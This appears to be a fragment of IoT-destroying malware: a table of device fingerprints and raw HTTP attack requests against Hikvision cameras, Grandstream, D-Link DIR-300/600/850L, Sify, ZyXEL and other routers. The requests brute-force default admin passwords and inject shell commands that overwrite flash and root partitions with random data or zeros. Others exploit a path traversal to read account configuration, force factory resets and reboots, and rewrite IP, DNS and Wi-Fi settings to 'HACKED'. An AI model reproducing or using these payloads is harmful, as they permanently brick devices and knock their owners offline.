'PUT /ISAPI/System/Network/interfaces/1?auth=%%CUSTOM1%% HTTP/1.1\r\nHost: %%TARGETIP%%\r\nAuthorization: Basic %%CUSTOM1%%\r\nX-Requested-With: XMLHttpRequest\r\nCookie: language=en; updateTips=true; userInfo%%TARGETPORT%%=%%CUSTOM1%%; DevID=5; curpage=paramconfig.asp%254\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\n<?xml version="1.0" encoding="UTF-8"?>\n<NetworkInterface><id>1</id><IPAddress><ipVersion>dual</ipVersion><addressingType>static</addressingType><ipAddress>10.%%RAND8%%</ipAddress><subnetMask>255.255.255.0</subnetMask><DefaultGateway><ipAddress>10.%%COMP8%%</ipAddress></DefaultGateway><PrimaryDNS><ipAddress>1.2.3.4</ipAddress></PrimaryDNS><SecondaryDNS><ipAddress>1.2.3.5</ipAddress></SecondaryDNS></IPAddress><Link><MACAddress>8c:e7:48:35:ad:e4</MACAddress><autoNegotiation>true</autoNegotiation><speed>0</speed><duplex>full</duplex><MTU>1500</MTU></Link></NetworkInterface>' ,
'PUT /ISAPI/System/Network/interfaces/1?auth=%%CUSTOM1%% HTTP/1.1\r\nHost: %%TARGETIP%%\r\nAuthorization: Basic %%CUSTOM1%%\r\nX-Requested-With: XMLHttpRequest\r\nCookie: language=en; updateTips=true; userInfo%%TARGETPORT%%=%%CUSTOM1%%; DevID=5; curpage=paramconfig.asp%254\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\n<?xml version="1.0" encoding="UTF-8"?>\r\n<UPnP version="1.0" xmlns="http://www.isapi.org/ver20/XMLSchema"><enabled>false</enabled><status>scansucc</status><LANAddress>10.%%RAND8%%</LANAddress><WANAddress>10.%%COMP8%%</WANAddress></UPnP>' ,
'PUT /ISAPI/System/factoryReset/mode=full HTTP/1.1\r\nHost: %%TARGETIP%%\r\nAuthorization: Basic %%CUSTOM1%%\r\nX-Requested-With: XMLHttpRequest\r\nCookie: language=en; updateTips=true; userInfo%%TARGETPORT%%=%%CUSTOM1%%; DevID=5; curpage=paramconfig.asp%254\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 0\r\n\r\n' ,
'PUT /ISAPI/System/reboot HTTP/1.1\r\nHost: %%TARGETIP%%\r\nAuthorization: Basic %%CUSTOM1%%\r\nX-Requested-With: XMLHttpRequest\r\nCookie: language=en; updateTips=true; userInfo%%TARGETPORT%%=%%CUSTOM1%%; DevID=5; curpage=paramconfig.asp%254\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 0\r\n\r\n' ,
'GET / HTTP/1.0\r\n\r\n' ,
] ,
[ 'grandstream' , 'Server: GS-Webs' ,
'GET /Pages/system.html HTTP/1.1\r\nHost: %%TARGETIP%%\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\n\r\n' ,
'GET /Pages/system.html HTTP/1.1\r\nHost: %%TARGETIP%%\r\nAuthorization: Basic YWRtaW46MTIzNDU=\r\n\r\n' ,
'GET /Pages/system.html HTTP/1.1\r\nHost: %%TARGETIP%%\r\nAuthorization: Basic YWRtaW46MTIzNA==\r\n\r\n' ,
'GET /Pages/system.html HTTP/1.1\r\nHost: %%TARGETIP%%\r\nAuthorization: Basic YWRtaW46MTIzNDU2\r\n\r\n' ,
'GET /Pages/system.html HTTP/1.1\r\nHost: %%TARGETIP%%\r\nAuthorization: Basic YWRtaW46ODg4ODg4\r\n\r\n' ,
'GET /goform/network?cmd=set&enabledhcp=0&ipaddress=10.%%RAND8%%&subnetmask=255.255.255.0&defaultgateway=10.%%COMP8%%&autodns=0&dnsserver.primary=1.2.3.4&dnsserver.standby=1.2.3.5&httpport=80 HTTP/1.1\r\nHost: %%TARGETIP%%\r\nAuthorization: Basic %%CUSTOM1%%\r\n\r\n' ,
'GET /goform/date_time?cmd=set&updatemode=1&ntpserverenable=1&ntpserver=%2560cat%2520%252Fdev%252Furandom%2520%253E%252Fdev%252Froot%2560&ntpupdateinterval=60&timezone=25&deftimezone=&enable_dst=0&dst_str=GMT-03%253A30MDT-04%253A30%252CM1.1.0%252F00%253A00%253A00%252CM2.1.0%252F00%253A00%253A00 HTTP/1.1\r\nHost: %%TARGETIP%%\r\nAuthorization: Basic %%CUSTOM1%%\r\n\r\n' ,
'POST /goform/maintenance?cmd=set&restart=yes HTTP/1.1\r\nHost: %%TARGETIP%%\r\nAuthorization: Basic %%CUSTOM1%%\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 0\r\n\r\n' ,
'GET / HTTP/1.0\r\n\r\n' ,
] ,
[ 'dir300600' , '(DIR-600 Ver 2\.1[1234]|DIR-300 Ver 2\.1[23])' ,
'POST /command.php HTTP/1.1\r\nHost: %%TARGETIP%%\r\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\r\nContent-Length: %%BODYLENGTH%%\r\n\r\ncmd=route del default;iproute del default;ip route del default;cat /dev/urandom >/dev/mtdblock/0;cat /dev/urandom >/dev/mtdblock/1;cat /dev/urandom >/dev/mtdblock/2;cat /dev/urandom >/dev/mtdblock/3;cat /dev/urandom >/dev/mtdblock/4;cat /dev/urandom >/dev/mtdblock/5;cat /dev/urandom >/dev/mtdblock/6;cat /dev/urandom >/dev/mtdblock/7;cat /dev/urandom >/dev/root;cat /dev/urandom >/dev/mem;' ,
'GET / HTTP/1.0\r\n\r\n' ,
] ,
[ 'dir850' , 'Server: Linux, HTTP.*DIR-850L Ver' ,
'POST /hedwig.cgi HTTP/1.1\r\nHost: %%TARGETIP%%\r\nContent-type: text/xml\r\nCookie: uid=aDxpxsreSa\r\nContent-Length: %%BODYLENGTH%%\r\n\r\n<?xml version=\'1.0\' encoding=\'UTF-8\'?><postxml><module><service>../../../htdocs/webinc/getcfg/DEVICE.ACCOUNT.xml</service></module></postxml>' ,
'GET /authentication.cgi HTTP/1.0\r\n\r\n' ,
] ,
[ 'hikweb' , 'Server: (DNVRS-Webs|DVS-Webs|App-webs|DVRDVS-Webs|Hikvision-Webs)' ,
'GET /PSIA/Custom/SelfExt/userCheck HTTP/1.1\r\nHost: %%TARGETIP%%\r\nAuthorization: Basic YWRtaW46MTIzNDU=\r\nCookie: language=en; updateTips=true\r\n\r\n' ,
'GET /PSIA/Custom/SelfExt/userCheck HTTP/1.1\r\nHost: %%TARGETIP%%\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\nCookie: language=en; updateTips=true\r\n\r\n' ,
'GET /PSIA/Custom/SelfExt/userCheck HTTP/1.1\r\nHost: %%TARGETIP%%\r\nAuthorization: Basic YWRtaW46MTIzNA==\r\nCookie: language=en; updateTips=true\r\n\r\n' ,
'GET /PSIA/Custom/SelfExt/userCheck HTTP/1.1\r\nHost: %%TARGETIP%%\r\nAuthorization: Basic YWRtaW46ODg4ODg4\r\nCookie: language=en; updateTips=true\r\n\r\n' ,
'GET /PSIA/Custom/SelfExt/userCheck HTTP/1.1\r\nHost: %%TARGETIP%%\r\nAuthorization: Basic YWRtaW46NTQzMjE=\r\nCookie: language=en; updateTips=true\r\n\r\n' ,
'GET /PSIA/Custom/SelfExt/userCheck HTTP/1.1\r\nHost: %%TARGETIP%%\r\nAuthorization: Basic YWRtaW46MTIzNDU2\r\nCookie: language=en; updateTips=true\r\n\r\n' ,
'GET /PSIA/Custom/SelfExt/userCheck HTTP/1.1\r\nHost: %%TARGETIP%%\r\nAuthorization: Basic YWRtaW46MTExMTEx\r\nCookie: language=en; updateTips=true\r\n\r\n' ,
'GET /PSIA/Custom/SelfExt/userCheck HTTP/1.1\r\nHost: %%TARGETIP%%\r\nAuthorization: Basic YWRtaW46NjU0MzIx\r\nCookie: language=en; updateTips=true\r\n\r\n' ,
'GET /PSIA/Custom/SelfExt/userCheck HTTP/1.1\r\nHost: %%TARGETIP%%\r\nAuthorization: Basic YWRtaW46MTIzNDU2Nzg5YWJj\r\nCookie: language=en; updateTips=true\r\n\r\n' ,
'PUT /System/factoryDefault?auth=YWRtaW46MTEK&mode=full HTTP/1.1\r\nHost: %%TARGETIP%%\r\n\r\n' ,
'PUT /System/reboot?auth=YWRtaW46MTEK HTTP/1.1\r\nHost: %%TARGETIP%%\r\n\r\n' ,
'PUT /ISAPI/System/Network/telnetd?auth=%%CUSTOM1%% HTTP/1.1\r\nHost: %%TARGETIP%%\r\nAuthorization: Basic %%CUSTOM1%%\r\nX-Requested-With: XMLHttpRequest\r\nCookie: language=en; updateTips=true; userInfo%%TARGETPORT%%=%%CUSTOM1%%\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\n<?xml version="1.0" encoding="UTF-8"?>\n<Telnetd><enabled>false</enabled></Telnetd>' ,
'PUT /ISAPI/System/Network/interfaces/1?auth=%%CUSTOM1%% HTTP/1.1\r\nHost: %%TARGETIP%%\r\nAuthorization: Basic %%CUSTOM1%%\r\nX-Requested-With: XMLHttpRequest\r\nCookie: language=en; updateTips=true; userInfo%%TARGETPORT%%=%%CUSTOM1%%\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\n<?xml version="1.0" encoding="UTF-8"?>\n<NetworkInterface><id>1</id><IPAddress><ipVersion>dual</ipVersion><addressingType>static</addressingType><ipAddress>10.%%RAND8%%</ipAddress><subnetMask>255.255.255.0</subnetMask><DefaultGateway><ipAddress>10.%%COMP8%%</ipAddress></DefaultGateway><PrimaryDNS><ipAddress>1.2.3.4</ipAddress></PrimaryDNS><SecondaryDNS><ipAddress>1.2.3.5</ipAddress></SecondaryDNS></IPAddress><Link><MACAddress>8c:e7:48:35:ad:e4</MACAddress><autoNegotiation>true</autoNegotiation><speed>0</speed><duplex>full</duplex><MTU>1500</MTU></Link></NetworkInterface>' ,
'PUT /PSIA/System/Network/interfaces/1?auth=%%CUSTOM1%% HTTP/1.1\r\nHost: %%TARGETIP%%\r\nAuthorization: Basic %%CUSTOM1%%\r\nX-Requested-With: XMLHttpRequest\r\nCookie: language=en; updateTips=true; userInfo%%TARGETPORT%%=%%CUSTOM1%%\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\n<?xml version="1.0" encoding="UTF-8"?>\n<NetworkInterface><id>1</id><IPAddress><ipVersion>dual</ipVersion><addressingType>static</addressingType><ipAddress>10.%%RAND8%%</ipAddress><subnetMask>255.255.255.0</subnetMask><DefaultGateway><ipAddress>10.%%COMP8%%</ipAddress></DefaultGateway><PrimaryDNS><ipAddress>1.2.3.4</ipAddress></PrimaryDNS><SecondaryDNS><ipAddress>1.2.3.5</ipAddress></SecondaryDNS></IPAddress><Link><MACAddress>8c:e7:48:35:ad:e4</MACAddress><autoNegotiation>true</autoNegotiation><speed>0</speed><duplex>full</duplex><MTU>1500</MTU></Link></NetworkInterface>' ,
'PUT /PSIA/System/Network/interfaces/1?auth=%%CUSTOM1%% HTTP/1.1\r\nHost: %%TARGETIP%%\r\nAuthorization: Basic %%CUSTOM1%%\r\nX-Requested-With: XMLHttpRequest\r\nCookie: language=en; updateTips=true; userInfo%%TARGETPORT%%=%%CUSTOM1%%\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\n<?xml version="1.0" encoding="UTF-8"?>\n<NetworkInterface><id>1</id><IPAddress><ipVersion>dual</ipVersion><addressingType>static</addressingType><ipAddress>10.%%RAND8%%</ipAddress><subnetMask>255.255.255.0</subnetMask><DefaultGateway><ipAddress>10.%%COMP8%%</ipAddress></DefaultGateway><ipV6AddressingType>ra</ipV6AddressingType><PrimaryDNS><ipAddress>1.2.3.4</ipAddress></PrimaryDNS><SecondaryDNS><hostName>1.2.3.5</hostName></SecondaryDNS></IPAddress><Link><MACAddress>8c:e7:48:35:ad:e4</MACAddress><autoNegotiation>true</autoNegotiation><speed>0</speed><duplex>full</duplex><MTU>1500</MTU></Link></NetworkInterface>' ,
'PUT /ISAPI/System/Network/PPPoE/1?auth=%%CUSTOM1%% HTTP/1.1\r\nHost: %%TARGETIP%%\r\nAuthorization: Basic %%CUSTOM1%%\r\nX-Requested-With: XMLHttpRequest\r\nCookie: language=en; updateTips=true; userInfo%%TARGETPORT%%=%%CUSTOM1%%\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\n<?xml version="1.0" encoding="UTF-8"?>\n<PPPoE><id>1</id><enabled>false</enabled><ethernetIfId>1</ethernetIfId><userName></userName><password></password></PPPoE>' ,
'PUT /ISAPI/System/factoryReset?mode=full?auth=%%CUSTOM1%% HTTP/1.1\r\nHost: %%TARGETIP%%\r\nAuthorization: Basic %%CUSTOM1%%\r\nX-Requested-With: XMLHttpRequest\r\nCookie: language=en; updateTips=true; userInfo%%TARGETPORT%%=%%CUSTOM1%%\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 0\r\n\r\n' ,
'PUT /PSIA/System/factoryReset?mode=full?auth=%%CUSTOM1%% HTTP/1.1\r\nHost: %%TARGETIP%%\r\nAuthorization: Basic %%CUSTOM1%%\r\nX-Requested-With: XMLHttpRequest\r\nCookie: language=en; updateTips=true; userInfo%%TARGETPORT%%=%%CUSTOM1%%\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 0\r\n\r\n' ,
'PUT /PSIA/System/reboot?auth=%%CUSTOM1%% HTTP/1.1\r\nHost: %%TARGETIP%%\r\nAuthorization: Basic %%CUSTOM1%%\r\nX-Requested-With: XMLHttpRequest\r\nCookie: language=en; updateTips=true; userInfo%%TARGETPORT%%=%%CUSTOM1%%\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 0\r\n\r\n' ,
'GET / HTTP/1.0\r\n\r\n' ,
] ,
[ 'sify' , '200 OK.*Accept-Ranges: bytes.*Expires.*content=-1.*0; URL=/cgi-bin/luci' ,
'POST /cgi-bin/luci/;stok=15443bacdb9a6ddd5df893eef7cbb995 HTTP/1.1\r\nHost: %%TARGETIP%%\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\npage=login&username=admin&password=admin' ,
'GET /cgi-bin/luci/;strok=%%CUSTOM1%% HTTP/1.1\r\nHost: %%TARGETIP%%\r\nCookie: sysauth=%%CUSTOM2%%\r\n\r\n' ,
'POST /cgi-bin/luci/;stok=%%CUSTOM1%%/html/CM_Location HTTP/1.1\r\nHost: %%TARGETIP%%\r\nCookie: sysauth=%%CUSTOM2%%\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\ncname=%60dd+if%3D%2Fdev%2Fzero+of%3D%2Fdev%2Froot%60&lname=%60dd+if%3D%2Fdev%2Fzero+of%3D%2Fdev%2Froot%60&email=N%2FA&phone=1&linkid=4028151015&linkid2=N%2FA&linkid3=N%2FA&linkid4=N%2FA' ,
'POST /cgi-bin/luci/;stok=%%CUSTOM1%%/html/SIFYOS_WLAN HTTP/1.1\r\nHost: %%TARGETIP%%\r\nCookie: sysauth=%%CUSTOM2%%\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\nWLANMode=11na&WLANChannel=36&WLANaSSID=sify-is-HACKED&WLANPreferBSSID=50%3AFE%3AF2%3A00%3AC5%3A3C&secMode=none&passphrase=&ChanBwMode=0&reqfile=ST_WLAN&actionCheckBoxMgr=PreferBSSIDEnable&actionCfgSave=&actionWLANDriverApplyCfg=' ,
'POST /cgi-bin/luci/;stok=%%CUSTOM1%%/html/WANSettings_StaticIP HTTP/1.1\r\nHost: %%TARGETIP%%\r\nCookie: sysauth=%%CUSTOM2%%\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\nWANConnectionType=2&WANGeneralAccount=&WANGeneralDomain=&WANMTUMode=0&WANGeneralIP=10.%%RAND8%%&wgip1=10&wgip2=%%RAND81%%&wgip3=%%RAND82%%&wgip4=%%RAND83%%&WANGeneralSubnetMask=255.255.255.0&wgsm1=255&wgsm2=255&wgsm3=255&wgsm4=0&WANGeneralGateway=10.%%COMP8%%&wggw1=10&wggw2=%%COMP81%%&wggw3=%%COMP82%%&wggw4=%%COMP83%%&WANDNSSourc=1&WANPrimaryDNSIP=0.0.0.0&wpdns1=0&wpdns2=0&wpdns3=0&wpdns4=0&WANSecondaryDNSIP=0.0.0.0&wsdns1=0&wsdns2=0&wsdns3=0&wsdns4=0&WANGeneralMACSel=0&WANGeneralMAClone=00%3A00%3A00%3A00%3A55%3A00&mac=%40%23statusRemotePCMAC%23%24&actionCfgSave=&wnat=chknat&igateway=icommit&reqfile=WANSettings_StaticIP&actionWANApplyCfg=' ,
'POST /cgi-bin/luci/;stok=%%CUSTOM1%%/html/LANSettings HTTP/1.1\r\nHost: %%TARGETIP%%\r\nCookie: sysauth=%%CUSTOM2%%\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\nLANIP=10.%%COMP8%%&lip1=10&lip2=%%COMP81%%&lip3=%%COMP82%%&lip4=%%COMP83%%&LANSubnetmask=255.255.255.254&lsm1=255&lsm2=255&lsm3=255&lsm4=254&LANDHCPSrvStartAddr=192.168.1.100&LANDHCPSrvStopAddr=192.168.1.200&LANWINSAddr=0.0.0.0&reqfile=LANSettings&actionCheckBoxMgr=LANDHCPSrvEnable&actionCheckBoxMgr=DSTEnable&actionCheckBoxMgr=RAEnable&actionCfgSave=&actionLANApplyCfg=' ,
'GET /cgi-bin/luci/;stok=%%CUSTOM1%%/html/uci/saveapply?formname=CM_ConfigChanges HTTP/1.1\r\nHost: %%TARGETIP%%\r\nCookie: sysauth=%%CUSTOM2%%\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\nLANIP=10.%%COMP8%%&lip1=10&lip2=%%COMP81%%&lip3=%%COMP82%%&lip4=%%COMP83%%&LANSubnetmask=255.255.255.254&lsm1=255&lsm2=255&lsm3=255&lsm4=254&LANDHCPSrvStartAddr=192.168.1.100&LANDHCPSrvStopAddr=192.168.1.200&LANWINSAddr=0.0.0.0&reqfile=LANSettings&actionCheckBoxMgr=LANDHCPSrvEnable&actionCheckBoxMgr=DSTEnable&actionCheckBoxMgr=RAEnable&actionCfgSave=&actionLANApplyCfg=' ,
'GET / HTTP/1.0\r\n\r\n' ,
] ,
[ 'zyxelp660' , 'RomPager.*Welcome to the Web-Based Configurator.*GoLive Cyber' ,
'POST /Forms/rpAuth_1 HTTP/1.1\r\nHost: %%TARGETIP%%\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\nLoginPassword=ZyXEL+ZyWALL+Series&hiddenPassword=81dc9bdb52d04dc20036dbd8313ed055&Prestige_Login=Login' ,
'POST /Forms/rpAuth_1 HTTP/1.1\r\nHost: %%TARGETIP%%\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\nLoginPassword=ZyXEL+ZyWALL+Series&hiddenPassword=21232f297a57a5a743894a0e4a801fc3&Prestige_Login=Login' ,
'POST /Forms/LAN_IP_1 HTTP/1.1\r\nHost: %%TARGETIP%%\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\nLANIPAddr=10.%%RAND8%%&LANSubnetMask=255.255.255.254&sysSubmit=Apply' ,
'POST /Forms/LAN_DHCPSetup_1 HTTP/1.1\r\nHost: %%TARGETIP%%\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\nDHCP_Mode=00000001&sysPoolStartingAddr=192.168.%%RAND16%%&sysPoolCount=32&DHCPPriDNSAddr=1.2.3.4&DHCPSecDNSAddr=1.2.3.5&sysSubmit=Apply' ,
'POST /Forms/WAN_1 HTTP/1.1\r\nHost: %%TARGETIP%%\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\nwan_RemoteName=HACKED&wan_Mode=00000001&wanModeFlag=0&wan_Encapsulation=PPPoA&wanEncapFlag=0&wan_UserName=hacked&wan_Password=hacked&wan_ServiceName=&wan_Multiplex=LLC&wan_VPI=8&wan_VCI=35&wan_DynIP=DynamicIP&wan_ConnectSel=Conn_on_Demand&wan_IdleTime=0&WANApply=Apply' ,
'GET / HTTP/1.0\r\n\r\n' ,
] ,
[ 'realtron' , '401.*Server:Realtron WebServer.*Basic realm=index.htm' ,
'GET / HTTP/1.1\r\nHost: %%TARGETIP%%\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\n\r\n' ,
'GET / HTTP/1.1\r\nHost: %%TARGETIP%%\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\n\r\n' ,
'GET / HTTP/1.1\r\nHost: %%TARGETIP%%\r\nAuthorization: Basic YWRtaW46MTIzNA==\r\n\r\n' ,
'GET / HTTP/1.1\r\nHost: %%TARGETIP%%\r\nAuthorization: Basic YWRtaW46cGFzc3dvcmQ=\r\n\r\n' ,
'POST /form2WlanSetup.cgi HTTP/1.1\r\nHost: %%TARGETIP%%\r\nAuthorization: Basic %%CUSTOM1%%\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\nwlanDisabled=ON&save=Apply+Changes&basicrates=0&operrates=0&submit.htm%3Fwlbasic.htm=Send' ,
'POST /form2WlanSetup.cgi HTTP/1.1\r\nHost: %%TARGETIP%%\r\nAuthorization: Basic %%CUSTOM1%%\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\nwlanDisabled=ON&save=Apply+Changes&basicrates=0&operrates=0&submit.htm%3Fwlbasic.htm=Send' ,
'POST /form2Dhcpd.cgi HTTP/1.1\r\nHost: %%TARGETIP%%\r\nAuthorization: Basic %%CUSTOM1%%\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\nlan_ip=192.168.1.1&lan_mask=255.255.255.0&dhcpmode=0&lan1=lan1&lan2=lan2&lan3=lan3&lan4=lan4&wlan=wlan&vap0=vap0&vap1=vap1&vap2=vap2&vap3=vap3&dhcpRangeStart=192.168.1.2&dhcpRangeEnd=192.168.1.254&dhcpSubnetMask=255.255.255.0&dfgw=192.168.1.1&ltime=1440&dname=domain.name&dns1=192.168.1.1&dns2=&dns3=&relayaddr=192.168.2.242&submit.htm%3Fdhcpd.htm=Send&save=Apply+Changes' ,
'POST /form2Dhcpd.cgi HTTP/1.1\r\nHost: %%TARGETIP%%\r\nAuthorization: Basic %%CUSTOM1%%\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\nlan_ip=192.168.1.1&lan_mask=255.255.255.0&dhcpmode=0&lan1=lan1&lan2=lan2&lan3=lan3&lan4=lan4&wlan=wlan&vap0=vap0&vap1=vap1&vap2=vap2&vap3=vap3&dhcpRangeStart=192.168.1.2&dhcpRangeEnd=192.168.1.254&dhcpSubnetMask=255.255.255.0&dfgw=192.168.1.1&ltime=1440&dname=domain.name&dns1=192.168.1.1&dns2=&dns3=&relayaddr=192.168.2.242&submit.htm%3Fdhcpd.htm=Send&save=Apply+Changes' ,
'POST /form2lansetup.cgi HTTP/1.1\r\nHost: %%TARGETIP%%\r\nAuthorization: Basic %%CUSTOM1%%\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\nip=10.%%RAND8%%&mask=255.255.255.0&ip2=0.0.0.0&mask2=0.0.0.0&snoop=1&submit.htm%3Ftcpiplan.htm=Send' ,
'POST /form2lansetup.cgi HTTP/1.1\r\nHost: %%TARGETIP%%\r\nAuthorization: Basic %%CUSTOM1%%\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\nip=10.%%RAND8%%&mask=255.255.255.0&ip2=0.0.0.0&mask2=0.0.0.0&snoop=1&submit.htm%3Ftcpiplan.htm=Send' ,
'POST /form2AttenSave.cgi HTTP/1.1\r\nHost: %%TARGETIP%%\r\nAuthorization: Basic %%CUSTOM1%%\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\nsubmit.htm%3Fattention.htm=Send' ,
'POST /form2AttenSave.cgi HTTP/1.1\r\nHost: %%TARGETIP%%\r\nAuthorization: Basic %%CUSTOM1%%\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\nsubmit.htm%3Fattention.htm=Send' ,
'POST /form2WanAdsl.cgi HTTP/1.1\r\nHost: %%TARGETIP%%\r\nAuthorization: Basic %%CUSTOM1%%\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\naction=0&idx=0&connid=15&submit.htm%3Fwanadsl_auto_droute.htm=Send' ,
'POST /form2WanAdsl.cgi HTTP/1.1\r\nHost: %%TARGETIP%%\r\nAuthorization: Basic %%CUSTOM1%%\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\naction=0&idx=0&connid=15&submit.htm%3Fwanadsl_auto_droute.htm=Send' ,
'POST /form2WebRefresh.cgi HTTP/1.1\r\nHost: %%TARGETIP%%\r\nAuthorization: Basic %%CUSTOM1%%\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\npppoenum=2&connect=disconnect&submit.html%3Fstatus_wan.htm=Send' ,
'POST /form2WebRefresh.cgi HTTP/1.1\r\nHost: %%TARGETIP%%\r\nAuthorization: Basic %%CUSTOM1%%\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\npppoenum=2&connect=disconnect&submit.html%3Fstatus_wan.htm=Send' ,
'POST /form2WanPhy.cgi HTTP/1.1\r\nHost: %%TARGETIP%%\r\nAuthorization: Basic %%CUSTOM1%%\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\nphyType=1&submit.htm%3Fwanadsl_auto_droute.htm=Send' ,
'POST /form2WanPhy.cgi HTTP/1.1\r\nHost: %%TARGETIP%%\r\nAuthorization: Basic %%CUSTOM1%%\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\nphyType=1&submit.htm%3Fwanadsl_auto_droute.htm=Send' ,
'GET / HTTP/1.0\r\n\r\n' ,
] ,
[ 'supernet' , '401 Unauthorized.*realm=ADSL Modem.*Server: WebServer/1.0' ,
'GET / HTTP/1.1\r\nHost: %%TARGETIP%%\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\n\r\n' ,
'POST /Forms/home_lan_1 HTTP/1.1\r\nHost: %%TARGETIP%%\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\nuiViewIPAddr=10.%%RAND8%%&dhcpFlag=0&ipAddrMain=10.%%RAND8%%&uiViewNetMask=255.255.255.0&uiViewIPAddr2=0.0.0.0&ipAddrAlias=0.0.0.0&uiViewNetMask2=0.0.0.0&MorAFlag=0&lan_RIPVersion=RIP1&lan_RIPDirection=None&lan_IGMP=Disabled&igmp_snoop_act=0&mld_snoop_act=0&dhcpTypeRadio=0&lan_IPv6RadvdEnable=0&lan_IPv6RadvdMode=0&lan_IPv6AutoPrefix=0&lan_Ipv6Address0=2005%3A%3A&lan_Ipv6Address1=64&lan_Ipv6PreLifetime=604800&lan_IPv6ValidLifetime=2592000&lan_ManagedAddr=on&lan_OtherConfig=on&lan_IPv6DHCP6Server=0&lan_IPv6DHCP6Mode=0&lan_Ipv6DHCP6Address0=%3A%3A&lan_Ipv6DHCP6Address1=0&lan_Ipv6DHCP6PreLifetime=0&lan_IPv6DHCP6ValidLifetime=0&lan_IPv6DHCP6DNSServer1=%3A%3A&lan_IPv6DHCP6DNSServer2=%3A%3A' ,
'POST /Forms/home_wlan_1 HTTP/1.1\r\nHost: %%TARGETIP%%\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\nwlanWEBFlag=0&AccessFlag=1&wlan_APenable=0&Channel_ID=00000000&BeaconInterval=100&RTSThreshold=2347&FragmentThreshold=2346&DTIM=1&WirelessMode=802.11b%2Bg%2Bn&WLANChannelBandwidth=40+MHz&WLANGuardInterval=AUTO&WLANMCS=AUTO&WLSSIDIndex=1&ESSID_HIDE_Selection=0&ESSID=HACKED&WEP_Selection=WPA-PSK%2FWPA2-PSK&TKIP_Selection=TKIP%2FAES&PreSharedKey=4171258257&WLAN_FltActive=0&WLAN_FltAction=00000000&WLANFLT_MAC=00%3A00%3A00%3A00%3A00%3A00&WLANFLT_MAC=00%3A00%3A00%3A00%3A00%3A00&WLANFLT_MAC=00%3A00%3A00%3A00%3A00%3A00&WLANFLT_MAC=00%3A00%3A00%3A00%3A00%3A00&WLANFLT_MAC=00%3A00%3A00%3A00%3A00%3A00&WLANFLT_MAC=00%3A00%3A00%3A00%3A00%3A00&WLANFLT_MAC=00%3A00%3A00%3A00%3A00%3A00&WLANFLT_MAC=00%3A00%3A00%3A00%3A00%3A00&WLanLockFlag=0&wlanRadiusWEPFlag=0' ,
